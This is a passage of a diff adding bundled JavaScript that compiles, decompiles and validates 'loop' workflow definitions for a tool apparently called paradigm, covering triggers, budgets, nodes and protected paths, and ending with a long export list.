+ escalations: { perRun: be?.perRun ?? bd.escalations.perRun, perDay: be?.perDay ?? bd.escalations.perDay }
4546
+ },
4547
+ ...d.goal ? { goal: { node: d.goal.node, verdict: "pass", inputs: [...d.goal.inputs ?? []] } } : {},
4548
+ ...d.land ? { land: { paths: [...d.land.paths], message: d.land.message, maxWaitMin: d.land.maxWaitMin ?? LOOP_DEFAULTS.landMaxWaitMin } } : {},
4549
+ ...d.redact === "off" || d.redact === false ? { redact: "off" } : {},
4550
+ ...d.envFiles?.length ? { envFiles: [...d.envFiles] } : {},
4551
+ ...d.network === "on" || d.network === true ? { network: "on" } : {},
4552
+ start: d.start,
4553
+ nodes: d.nodes.map((n) => compileNode(n, opts.readShebang)),
4554
+ protected: [...prot].sort()
4555
+ };
4556
+ return { ...v, compiled };
4557
+ }
4558
+ function canonicalLoopJson(compiled) {
4559
+ return canonicalJson(compiled);
4560
+ }
4561
+ function loopFileJson(compiled) {
4562
+ return `${JSON.stringify(JSON.parse(canonicalLoopJson(compiled)), null, 2)}
4563
+ `;
4564
+ }
4565
+ function formatLoopIssue(i) {
4566
+ return `${i.path || "(root)"}: ${i.code}: ${i.message}`;
4567
+ }
4568
+
4569
+ // src/loops/compiled.ts
4570
+ var isObj2 = (v) => typeof v === "object" && v !== null && !Array.isArray(v);
4571
+ var SHA_HEX = /^[0-9a-f]{64}$/;
4572
+ var COMPILED_KEYS = ["schema", "compiled", "id", "title", "scope", "repo", "flows", "flowPaths", "triggers", "autonomy", "notify", "decide", "budgets", "goal", "land", "redact", "envFiles", "network", "start", "nodes", "protected"];
4573
+ var fail = (path2, code, message) => ({ ok: false, errors: [{ path: path2, code, message }] });
4574
+ function decompile(c) {
4575
+ const d = { schema: c.schema, id: c.id };
4576
+ if (c.title !== void 0) d.title = c.title;
4577
+ if (c.repo !== void 0) d.repo = c.repo;
4578
+ if (Array.isArray(c.flows) && c.flows.length) d.flows = c.flows;
4579
+ if (Array.isArray(c.triggers)) {
4580
+ d.triggers = c.triggers.map((t) => {
4581
+ if (!isObj2(t)) return t;
4582
+ if (t.type === "schedule") {
4583
+ const s = {};
4584
+ for (const k of ["every", "daily", "weekly"]) if (t[k] !== void 0) s[k] = t[k];
4585
+ return { schedule: s, catchUp: t.catchUp };
4586
+ }
4587
+ if (t.type === "event") {
4588
+ const e = { kind: t.kind };
4589
+ for (const k of ["flow", "loop", "node"]) if (t[k] !== void 0) e[k] = t[k];
4590
+ return { event: e, debounce: t.debounceSec };
4591
+ }
4592
+ if (t.type === "continuous") return { continuous: { cooldown: t.cooldownSec } };
4593
+ return t;
4594
+ });
4595
+ }
4596
+ for (const k of ["autonomy", "notify", "decide", "budgets", "land", "redact", "envFiles", "network", "start"]) if (c[k] !== void 0) d[k] = c[k];
4597
+ if (isObj2(c.goal)) {
4598
+ const g = { node: c.goal.node, verdict: c.goal.verdict };
4599
+ if (!(Array.isArray(c.goal.inputs) && c.goal.inputs.length === 0)) g.inputs = c.goal.inputs;
4600
+ d.goal = g;
4601
+ } else if (c.goal !== void 0) d.goal = c.goal;
4602
+ if (Array.isArray(c.nodes)) {
4603
+ d.nodes = c.nodes.map((n) => {
4604
+ if (!isObj2(n)) return n;
4605
+ const out = { ...n };
4606
+ if (n.type === "check") delete out.argv0Interpreter;
4607
+ if (n.type === "call") {
4608
+ delete out.callee;
4609
+ delete out.hash8;
4610
+ }
4611
+ return out;
4612
+ });
4613
+ } else d.nodes = c.nodes;
4614
+ return d;
4615
+ }
4616
+ function comparable(c) {
4617
+ const o = { ...c };
4618
+ delete o.protected;
4619
+ const meta = isObj2(c.compiled) ? { version: c.compiled.version, flowsResolved: c.compiled.flowsResolved } : c.compiled;
4620
+ o.compiled = meta;
4621
+ return canonicalJson(o);
4622
+ }
4623
+ function validateCompiledLoop(value, opts) {
4624
+ if (!isObj2(value)) return fail("", "BAD_TYPE", "a compiled loop is a JSON object");
4625
+ for (const k of Object.keys(value)) if (!COMPILED_KEYS.includes(k)) return fail(k, "UNKNOWN_KEY", `unknown key "${k}" in a compiled loop`);
4626
+ if (value.schema !== LOOP_SCHEMA) return fail("schema", "BAD_SCHEMA", `schema must be "${LOOP_SCHEMA}"`);
4627
+ const meta = value.compiled;
4628
+ if (!isObj2(meta) || meta.version !== LOOP_COMPILED_VERSION || typeof meta.flowsResolved !== "boolean" || typeof meta.callsResolved !== "boolean") {
4629
+ return fail("compiled", "BAD_COMPILED", `compiled is {version: ${LOOP_COMPILED_VERSION}, flowsResolved, callsResolved, sourceHash?}`);
4630
+ }
4631
+ for (const k of Object.keys(meta)) if (!["version", "flowsResolved", "callsResolved", "sourceHash"].includes(k)) return fail(`compiled.${k}`, "UNKNOWN_KEY", `unknown key "${k}" in compiled`);
4632
+ if (meta.sourceHash !== void 0 && (typeof meta.sourceHash !== "string" || !SHA_HEX.test(meta.sourceHash))) return fail("compiled.sourceHash", "BAD_HASH", "compiled.sourceHash is 64 lowercase hex");
4633
+ if (value.scope !== opts.scope) return fail("scope", "BAD_SCOPE", `this loop was found in ${opts.scope} scope but says ${String(value.scope)}`);
4634
+ if (opts.fileId !== void 0 && value.id !== opts.fileId) return fail("id", "FILE_ID_MISMATCH", `id "${String(value.id)}" must match the file name (${opts.fileId}.loop.json)`);
4635
+ if (!Array.isArray(value.protected) || value.protected.some((p) => typeof p !== "string")) return fail("protected", "BAD_TYPE", "protected is a list of path globs");
4636
+ if (!isObj2(value.budgets)) return fail("budgets", "BAD_TYPE", "budgets is filled in a compiled loop");
4637
+ if (value.flowPaths !== void 0) {
4638
+ if (!isObj2(value.flowPaths) || Object.values(value.flowPaths).some((g) => !Array.isArray(g) || g.some((x) => typeof x !== "string"))) {
4639
+ return fail("flowPaths", "BAD_TYPE", "flowPaths maps each flow to a list of path globs");
4640
+ }
4641
+ }
4642
+ const interps = /* @__PURE__ */ new Map();
4643
+ if (Array.isArray(value.nodes)) {
4644
+ for (const n of value.nodes) {
4645
+ if (isObj2(n) && n.type === "check" && Array.isArray(n.run) && typeof n.run[0] === "string" && typeof n.argv0Interpreter === "string") {
4646
+ if (!interps.has(n.run[0])) interps.set(n.run[0], n.argv0Interpreter);
4647
+ }
4648
+ }
4649
+ }
4650
+ const def = decompile(value);
4651
+ const r = compileLoop(def, {
4652
+ scope: opts.scope,
4653
+ budgetDefaults: value.budgets,
4654
+ ...value.flowPaths !== void 0 ? { flowIndex: value.flowPaths } : {},
4655
+ readShebang: (a0) => interps.get(a0) ?? null
4656
+ });
4657
+ if (!r.ok || !r.compiled) return { ok: false, errors: r.errors.length ? r.errors : [{ path: "", code: "BAD_COMPILED", message: "the compiled loop does not compile again" }] };
4658
+ const again = { ...r.compiled, compiled: { ...r.compiled.compiled, ...meta.sourceHash !== void 0 ? { sourceHash: meta.sourceHash } : {} } };
4659
+ if (meta.sourceHash === void 0) delete again.compiled.sourceHash;
4660
+ if (comparable(again) !== comparable(value)) {
4661
+ return fail("", "NOT_CANONICAL", "the compiled loop is not what its definition compiles to (hand-edited or from another compiler): run paradigm loop validate");
4662
+ }
4663
+ return { ok: true, errors: [], compiled: again };
4664
+ }
4665
+ export {
4666
+ CALL_VERDICTS,
4667
+ CHECK_VERDICTS,
4668
+ LANDS_IN_8_1,
4669
+ LOOP_ALWAYS_PROTECTED,
4670
+ LOOP_ARGV0_CHECKER_ALLOW,
4671
+ LOOP_AUTONOMY2 as LOOP_AUTONOMY,
4672
+ LOOP_BUDGET_DEFAULTS,
4673
+ LOOP_BUILTINS,
4674
+ LOOP_CALL_DEPTH_MAX,
4675
+ LOOP_COMPILED_VERSION,
4676
+ LOOP_CONTINUOUS_MIN_COOLDOWN_SEC,
4677
+ LOOP_DECIDE,
4678
+ LOOP_DEFAULTS,
4679
+ LOOP_ENV_FILES_MAX,
4680
+ LOOP_EVENT_KINDS,
4681
+ LOOP_ID_MAX,
4682
+ LOOP_INPUT_ROOTS,
4683
+ LOOP_JSON_OPS,
4684
+ LOOP_MODEL_ROLES,
4685
+ LOOP_NOTIFY_AS,
4686
+ LOOP_NOTIFY_ON,
4687
+ LOOP_PARADIGM_TOOLS,
4688
+ LOOP_PARSERS,
4689
+ LOOP_SCHEMA,
4690
+ LOOP_TERMINALS,
4691
+ LOOP_WEEKDAYS,
4692
+ MODEL_VERDICTS,
4693
+ TOAST_VERDICTS,
4694
+ argvIssues,
4695
+ argvPathWords,
4696
+ canonicalLoopJson,
4697
+ compileLoop,
4698
+ formatLoopIssue,
4699
+ loopContentHash,
4700
+ loopFileJson,
4701
+ parseCount,
4702
+ parseDurationSec,
4703
+ programName,
4704
+ validateCompiledLoop,
4705
+ validateLoop
4706
+ };